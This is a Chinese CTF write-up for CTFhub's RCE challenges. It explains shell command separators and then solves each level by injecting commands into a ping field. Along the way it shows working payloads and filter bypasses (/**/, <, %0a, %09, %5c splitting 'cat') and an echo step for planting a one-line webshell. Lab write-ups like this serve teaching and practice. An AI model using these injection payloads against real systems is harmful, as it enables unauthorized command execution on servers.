CTFhub-RCE

文章目录

  • RCE
    • 对于Windows系统
    • 对于Linux系统
  • 命令注入
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合练习


RCE

在开始之前我们进行一些简单的了解,其实我也是做题做到后面才发现一些知识是必要去掌握的‍♂️‍♀️‍♀️‍♂️‍♀️‍♀️

知识点-这里最好了解一下
RCE分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理

  1. 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  2. 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
  3. 其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

其中对于不同系统的命令指示又有着不同的命令符:

对于Windows系统

1.|”:直接执行后面的语句。
2.||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3.&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4.&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

对于Linux系统

.;”:执行完前面的语句再执行后面的语句。
.|”:显示后面语句的执行结果。
.||”:当前面的语句执行出错时,执行后面的语句。
.&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
.&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令注入

CTFhub-RCE_第1张图片
既然提示输入IP让我们输入本地试试

127.01.01.1

CTFhub-RCE_第2张图片
得到显示后,尝试得到该路径下文件

127.01.01.1&ls

CTFhub-RCE_第3张图片
获取文件内容信息

127.01.01.1&cat 120731029228103.php

CTFhub-RCE_第4张图片
没有结果,这里可能是文件中包含特殊符号,使用管道运行base64加密内容

127.01.01.1&cat *.php | base64

CTFhub-RCE_第5张图片

尝试base64解密
CTFhub-RCE_第6张图片
这里还有第二种方法,利用命令执行写入一句话木马

127.0.0.1 &echo "" >> shell.php

因为环境问题,昨天还可以今天就不行了,但是方法是可行的!

过滤cat

本文开始前先贴出一些小知识:
linux查看文本的命令

  • cat 由第一行开始显示内容,并将所有内容输出
  • tac 从最后一行倒序显示内容,并将所有内容输出
  • more 根据窗口大小,一页一页的现实文件内容
  • lessmore类似,但其优点可以往前翻页,而且进行可以搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似于cat -n,显示时输出行号
  • tailf 类似于tail -f

showtime
CTFhub-RCE_第7张图片
根据上题的思路继续进行

127.0.0.1

CTFhub-RCE_第8张图片
检索目录

127.0.0.1&ls

CTFhub-RCE_第9张图片
先试试cat是否可以使用

127.0.0.1&cat flag_30210295964775.php

CTFhub-RCE_第10张图片
好吧看来是不行了
试试上一题讲到的一句话木马上传

127.0.0.1 &echo "" >> shell.php

CTFhub-RCE_第11张图片
得到flag
CTFhub-RCE_第12张图片

过滤空格

CTFhub-RCE_第13张图片
过滤空格可以使用/**/ 或者<代替

127.0.0.1/**/&/**/ls

CTFhub-RCE_第14张图片
使用cat进行获取

127.0.0.1/**/&/**/cat/**/flag_12333170278981.php

CTFhub-RCE_第15张图片
没有结果,获取flag文件下base64密文

127.0.0.1|cat<flag_12333170278981.php|base64

CTFhub-RCE_第16张图片
解密CTFhub-RCE_第17张图片

过滤目录分隔符

CTFhub-RCE_第18张图片
解题思路:
1、既然’/‘无法使用那我们可以使用cd 进入文件夹中
2、对管道进行使用base64加密

按照惯例对题目文件目录进行查看

127.0.0.1&ls

CTFhub-RCE_第19张图片
cd进入文件目录
cd 进入flag_is_here目录,
ls 显示flag_is_here目录里的内容。

127.0.0.1;cd flag_is_here;ls

CTFhub-RCE_第20张图片
进入该文件中获取信息
1、cd 进入文件
2、cat 获取文件内容
3、base64进行加密显示内容

127.0.0.1;cd flag_is_here;cat flag_11328226429806.php|base64

CTFhub-RCE_第21张图片
进行解密CTFhub-RCE_第22张图片

过滤运算符

CTFhub-RCE_第23张图片

  1. 这里过滤了,|和&两个运算符,这两种运算符在这里是无法执行后面的命令
  2. 没事问题不大‍‍‍‍我们可以使用分隔运算符进行命令

老样子,先检索目录吧

127.0.0.1;ls

CTFhub-RCE_第24张图片
这就把flag文本文件展现了出来,那就cat 文本内容

127.0.0.1;cat flag_14322672312813.php

CTFhub-RCE_第25张图片
哇哦,flag呢不要急,这次我们不用base64对内容加密获取了,我们来看看文件的源码,看看藏在哪CTFhub-RCE_第26张图片
这不是出来了
由于对|进行过滤了,直接对管道进行base64加密

127.0.0.1;base64 flag_14322672312813.php

CTFhub-RCE_第27张图片
进行解密CTFhub-RCE_第28张图片

综合练习

对于过滤情况的题,我发现了一个宝藏!!!
url补充表
CTFhub-RCE_第29张图片
CTFhub-RCE_第30张图片

接下来我们来进行解题吧CTFhub-RCE_第31张图片
可以看到本题过滤了:/ \ & ; cat flag ctfhub这些运算符
在本题中

1、使用%0a代替换行符
2、使用%09a替代TABJ补充被过滤的flag
3%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了)

检索目录

127.0.0.1%0als

CTFhub-RCE_第32张图片

进入到FLAG文件中

127.0.0.1%0als

CTFhub-RCE_第33张图片

这里%09用于补充被过滤掉的flag

接下看我们查看flag_324582491729512.php的内容信息

127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_324582491729512.php
在这里因为cat被过滤了因此需要%5c将cat分隔开绕过过滤

CTFhub-RCE_第34张图片
查看源代码

CTFhub-RCE_第35张图片
或者直接对管道进行base64加密

127.0.0.1%0acd%09*_is_here%0abase64%09*_324582491729512.php

CTFhub-RCE_第36张图片
解密CTFhub-RCE_第37张图片

你可能感兴趣的:(web)